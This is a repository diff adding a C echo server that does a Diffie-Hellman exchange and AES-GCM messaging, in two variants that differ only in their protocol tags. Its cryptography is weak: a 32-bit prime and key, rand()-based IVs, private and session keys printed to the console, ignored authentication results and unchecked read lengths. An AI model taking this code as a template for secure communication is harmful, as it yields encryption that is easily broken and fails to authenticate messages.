int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||||
|
size_t M, const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||||
|
size_t M, const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
|
||||||
|
aes_uchar *plain);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* AES_H */
|
8
server/makefile
Normal file
8
server/makefile
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
server:server.c aes-debug.o aes-gcm.o aes-internal.o
|
||||||
|
gcc server.c -o server aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||||
|
aes-debug.o:aes-debug.c
|
||||||
|
gcc -c aes-debug.c -o aes-debug.o
|
||||||
|
aes-gcm.o:aes-gcm.c
|
||||||
|
gcc -c aes-gcm.c -o aes-gcm.o
|
||||||
|
aes-internal.o:aes-internal.c
|
||||||
|
gcc -c aes-internal.c -o aes-internal.o
|
8
server/makefile_p
Normal file
8
server/makefile_p
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
server_p:server_p.c aes-debug.o aes-gcm.o aes-internal.o
|
||||||
|
gcc server_p.c -o server_p aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||||
|
aes-debug.o:aes-debug.c
|
||||||
|
gcc -c aes-debug.c -o aes-debug.o
|
||||||
|
aes-gcm.o:aes-gcm.c
|
||||||
|
gcc -c aes-gcm.c -o aes-gcm.o
|
||||||
|
aes-internal.o:aes-internal.c
|
||||||
|
gcc -c aes-internal.c -o aes-internal.o
|
186
server/server.c
Normal file
186
server/server.c
Normal file
@ -0,0 +1,186 @@
|
|||||||
|
#include <netdb.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include "Diffie_hellman.c"
|
||||||
|
#include "aes.h"
|
||||||
|
#define MAX_size 256
|
||||||
|
#define Sockaddr struct sockaddr
|
||||||
|
|
||||||
|
#define DEBUF
|
||||||
|
// Function designed for chat between client and server.
|
||||||
|
|
||||||
|
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||||
|
char buff[MAX_size];
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
int l=read(sockfd, buff, sizeof(buff));
|
||||||
|
memcpy(add,buff+4,16);
|
||||||
|
memcpy(iv,buff+16+4,12);
|
||||||
|
memset(tag,0,16);
|
||||||
|
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||||
|
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||||
|
//add+iv
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
memset(tag,0,16);
|
||||||
|
for(int j=0;j<16;j++)
|
||||||
|
add[j]=rand()%256;
|
||||||
|
for(int j=0;j<12;j++)
|
||||||
|
iv[j]=rand()%256;
|
||||||
|
//加密
|
||||||
|
int tmp;
|
||||||
|
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||||
|
memcpy(cryptbuf + 4, add, 16);
|
||||||
|
memcpy(cryptbuf + 20, iv, 12);
|
||||||
|
memcpy(cryptbuf + 32, tag, 16);
|
||||||
|
memcpy(cryptbuf, "data", 4);
|
||||||
|
int f;
|
||||||
|
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
void DH_key_exchange_for_server(int sockfd, unsigned char* aes_key){
|
||||||
|
Dh_key dh_key;
|
||||||
|
char buff[MAX_size];
|
||||||
|
init_numbers(&dh_key);
|
||||||
|
|
||||||
|
dh_key.urand = fopen("/dev/urandom","r");
|
||||||
|
if(NULL == dh_key.urand)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to init randomization\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
init_prime(32,&dh_key);
|
||||||
|
//send p
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
memcpy(buff,"pri",3);
|
||||||
|
mpz_get_str(buff+3,16,dh_key.prime);
|
||||||
|
write(sockfd,buff,sizeof(buff));
|
||||||
|
gmp_printf("p:%Zd\n",dh_key.prime);
|
||||||
|
|
||||||
|
//receive A
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
read(sockfd,buff,sizeof(buff));
|
||||||
|
mpz_t key_from_c;
|
||||||
|
mpz_init(key_from_c);
|
||||||
|
mpz_set_str(key_from_c,buff+3,16);
|
||||||
|
gmp_printf("A:%Zd\n",key_from_c);
|
||||||
|
|
||||||
|
//calculate private key b
|
||||||
|
generate_key(32, &dh_key);
|
||||||
|
gmp_printf("b:%Zd\n",dh_key.private_key);
|
||||||
|
|
||||||
|
//B=g^b(mod p)
|
||||||
|
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
|
||||||
|
gmp_printf("B:%Zd\n",dh_key.public_key);
|
||||||
|
|
||||||
|
//send B
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
memcpy(buff,"pub",3);
|
||||||
|
mpz_get_str(buff+3,16,dh_key.public_key);
|
||||||
|
write(sockfd, buff, sizeof(buff));
|
||||||
|
|
||||||
|
//calc s=g^(ab)
|
||||||
|
bzero(buff,sizeof(buff));
|
||||||
|
mpz_powm(dh_key.key, key_from_c, dh_key.private_key, dh_key.prime);
|
||||||
|
mpz_get_str(buff,16,dh_key.key);
|
||||||
|
memcpy(aes_key,str2hex(buff),32);
|
||||||
|
fclose(dh_key.urand);
|
||||||
|
clear_numbers(&dh_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
void echo(int sockfd)
|
||||||
|
{
|
||||||
|
char buff[MAX_size];
|
||||||
|
int n;
|
||||||
|
char aes_key[32];
|
||||||
|
char echobuf[MAX_size+5];
|
||||||
|
bzero(echobuf, sizeof(echobuf));
|
||||||
|
// negotiate key for aes 256
|
||||||
|
DH_key_exchange_for_server(sockfd, aes_key);
|
||||||
|
printf("\n");
|
||||||
|
print_hex(aes_key, 32);
|
||||||
|
for (;;) {
|
||||||
|
bzero(buff, sizeof(buff));
|
||||||
|
// read message from client
|
||||||
|
recv_msg(sockfd, buff, aes_key);
|
||||||
|
// print buffer
|
||||||
|
printf("Client: %s", buff);
|
||||||
|
|
||||||
|
// generate echo
|
||||||
|
memcpy(echobuf,"ECHO:",5);
|
||||||
|
memcpy(echobuf+5,buff,strlen(buff));
|
||||||
|
// send echo
|
||||||
|
send_msg(sockfd, echobuf, strlen(echobuf),aes_key);
|
||||||
|
bzero(echobuf, sizeof(echobuf));
|
||||||
|
// Exit to stop service
|
||||||
|
if (strncmp("exit", buff, 4) == 0) {
|
||||||
|
printf("Server Exit...\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// main echo
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int sockfd, connfd, len;
|
||||||
|
struct sockaddr_in servaddr, cli;
|
||||||
|
|
||||||
|
// socket create and verification
|
||||||
|
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (sockfd == -1) {
|
||||||
|
printf("socket creation failed...\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("Socket successfully created..\n");
|
||||||
|
bzero(&servaddr, sizeof(servaddr));
|
||||||
|
|
||||||
|
// assign IP, PORT
|
||||||
|
servaddr.sin_family = AF_INET;
|
||||||
|
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||||
|
servaddr.sin_port = htons(atoi(argv[1]));
|
||||||
|
|
||||||
|
// Binding newly created socket to given IP and verification
|
||||||
|
if ((bind(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr))) != 0) {
|
||||||
|
printf("socket bind failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("Socket successfully binded..\n");
|
||||||
|
|
||||||
|
// start listen
|
||||||
|
if ((listen(sockfd, 5)) != 0) {
|
||||||
|
printf("listen failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("start listening\n");
|
||||||
|
len = sizeof(cli);
|
||||||
|
|
||||||
|
// Accept the data packet from client and verification
|
||||||
|
connfd = accept(sockfd, (Sockaddr*)&cli, &len);
|
||||||
|
if (connfd < 0) {
|
||||||
|
printf("server acccept failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("connected\n");
|
||||||
|
|
||||||
|
// callback echo
|
||||||
|
echo(connfd);
|
||||||
|
|
||||||
|
// close socket
|
||||||
|
close(sockfd);
|
||||||
|
}
|
||||||
|
|
189
server/server_p.c
Normal file
189
server/server_p.c
Normal file
@ -0,0 +1,189 @@
|
|||||||
|
#include <netdb.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include "Diffie_hellman.c"
|
||||||
|
#include "aes.h"
|
||||||
|
#define MAX_size 256
|
||||||
|
#define Sockaddr struct sockaddr
|
||||||
|
|
||||||
|
#define DEBUF
|
||||||
|
// Function designed for chat between client and server.
|
||||||
|
|
||||||
|
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||||
|
char buff[MAX_size];
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
int l=read(sockfd, buff, sizeof(buff));
|
||||||
|
memcpy(add,buff+4,16);
|
||||||
|
memcpy(iv,buff+16+4,12);
|
||||||
|
memset(tag,0,16);
|
||||||
|
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||||
|
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||||
|
//add+iv
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
memset(tag,0,16);
|
||||||
|
for(int j=0;j<16;j++)
|
||||||
|
add[j]=rand()%256;
|
||||||
|
for(int j=0;j<12;j++)
|
||||||
|
iv[j]=rand()%256;
|
||||||
|
//加密
|
||||||
|
int tmp;
|
||||||
|
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||||
|
memcpy(cryptbuf + 4, add, 16);
|
||||||
|
memcpy(cryptbuf + 20, iv, 12);
|
||||||
|
memcpy(cryptbuf + 32, tag, 16);
|
||||||
|
memcpy(cryptbuf, "daaa", 4);
|
||||||
|
int f;
|
||||||
|
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
void DH_key_exchange_for_server(int sockfd, unsigned char* aes_key){
|
||||||
|
Dh_key dh_key;
|
||||||
|
char buff[MAX_size];
|
||||||
|
init_numbers(&dh_key);
|
||||||
|
|
||||||
|
dh_key.urand = fopen("/dev/urandom","r");
|
||||||
|
if(NULL == dh_key.urand)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to init randomization\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
init_prime(32,&dh_key);
|
||||||
|
//send p
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
memcpy(buff,"prt",3);
|
||||||
|
mpz_get_str(buff+3,16,dh_key.prime);
|
||||||
|
write(sockfd,buff,sizeof(buff));
|
||||||
|
gmp_printf("p:%Zd\n",dh_key.prime);
|
||||||
|
|
||||||
|
//receive A
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
read(sockfd,buff,sizeof(buff));
|
||||||
|
mpz_t key_from_c;
|
||||||
|
mpz_init(key_from_c);
|
||||||
|
mpz_set_str(key_from_c,buff+3,16);
|
||||||
|
gmp_printf("A:%Zd\n",key_from_c);
|
||||||
|
|
||||||
|
//calculate private key b
|
||||||
|
generate_key(32, &dh_key);
|
||||||
|
gmp_printf("b:%Zd\n",dh_key.private_key);
|
||||||
|
|
||||||
|
//B=g^b(mod p)
|
||||||
|
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
|
||||||
|
gmp_printf("B:%Zd\n\n",dh_key.public_key);
|
||||||
|
|
||||||
|
//send B
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
memcpy(buff,"pud",3);
|
||||||
|
mpz_get_str(buff+3,16,dh_key.public_key);
|
||||||
|
write(sockfd, buff, sizeof(buff));
|
||||||
|
|
||||||
|
//calc s=g^(ab)
|
||||||
|
bzero(buff,sizeof(buff));
|
||||||
|
mpz_powm(dh_key.key, key_from_c, dh_key.private_key, dh_key.prime);
|
||||||
|
mpz_get_str(buff,16,dh_key.key);
|
||||||
|
memcpy(aes_key,str2hex(buff),32);
|
||||||
|
fclose(dh_key.urand);
|
||||||
|
clear_numbers(&dh_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
void echo(int sockfd)
|
||||||
|
{
|
||||||
|
char buff[MAX_size];
|
||||||
|
int n;
|
||||||
|
char aes_key[32];
|
||||||
|
char echobuf[MAX_size+5];
|
||||||
|
bzero(echobuf, sizeof(echobuf));
|
||||||
|
// negotiate key for aes 256
|
||||||
|
DH_key_exchange_for_server(sockfd, aes_key);
|
||||||
|
print_hex(aes_key, 32);
|
||||||
|
for (;;) {
|
||||||
|
bzero(buff, sizeof(buff));
|
||||||
|
// read message from client
|
||||||
|
recv_msg(sockfd, buff, aes_key);
|
||||||
|
// print buffer
|
||||||
|
printf("Client: %s", buff);
|
||||||
|
|
||||||
|
// generate echo
|
||||||
|
memcpy(echobuf,"ECHO:",5);
|
||||||
|
memcpy(echobuf+5,buff,strlen(buff));
|
||||||
|
// send echo
|
||||||
|
send_msg(sockfd, echobuf, strlen(echobuf),aes_key);
|
||||||
|
bzero(echobuf, sizeof(echobuf));
|
||||||
|
// Exit to stop service
|
||||||
|
if (strncmp("exit", buff, 4) == 0) {
|
||||||
|
printf("Server Exit...\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// main echo
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
if(argc!=2){
|
||||||
|
puts("./server port");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
int sockfd, connfd, len;
|
||||||
|
struct sockaddr_in servaddr, cli;
|
||||||
|
|
||||||
|
// socket create and verification
|
||||||
|
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (sockfd == -1) {
|
||||||
|
printf("socket creation failed...\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("Socket successfully created..\n");
|
||||||
|
bzero(&servaddr, sizeof(servaddr));
|
||||||
|
|
||||||
|
// assign IP, PORT
|
||||||
|
servaddr.sin_family = AF_INET;
|
||||||
|
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||||
|
servaddr.sin_port = htons(atoi(argv[1]));
|
||||||
|
|
||||||
|
// Binding newly created socket to given IP and verification
|
||||||
|
if ((bind(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr))) != 0) {
|
||||||
|
printf("socket bind failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("Socket successfully binded..\n");
|
||||||
|
|
||||||
|
// start listen
|
||||||
|
if ((listen(sockfd, 5)) != 0) {
|
||||||
|
printf("listen failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("start listening\n");
|
||||||
|
len = sizeof(cli);
|
||||||
|
|
||||||
|
// Accept the data packet from client and verification
|
||||||
|
connfd = accept(sockfd, (Sockaddr*)&cli, &len);
|
||||||
|
if (connfd < 0) {
|
||||||
|
printf("server acccept failed\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf("connected\n");
|
||||||
|
|
||||||
|
// callback echo
|
||||||
|
echo(connfd);
|
||||||
|
|
||||||
|
// close socket
|
||||||
|
close(sockfd);
|
||||||
|
}
|
||||||
|
|
Loading…
x
Reference in New Issue
Block a user